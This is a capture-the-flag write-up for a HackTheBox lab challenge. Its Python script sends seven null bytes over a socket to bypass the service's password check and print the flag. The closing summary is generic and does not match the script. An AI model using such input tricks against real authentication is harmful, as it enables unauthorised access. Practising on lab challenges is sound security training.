HackTheBox Writing on the Wall Challenge
https://app.hackthebox.com/challenges/663
Description
As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?
Exploitation
#!/usr/bin/python3
import socket,sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <ip:port>")
sys.exit(1)
host, port = sys.argv[1].split(':')
port = int(port)
input_data = b'\x00' * 7
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
initial_data = s.recv(1024)
print('Received:', initial_data.decode())
s.sendall(input_data)
response = s.recv(1024)
print('Response:', response.decode())
while True:
try:
more_data = s.recv(1024)
if not more_data:
break
print(more_data.decode(), end='')
except:
break
Summary
Writing on the Wall: build the exploit primitive, stabilize the payload, and use it to read the flag.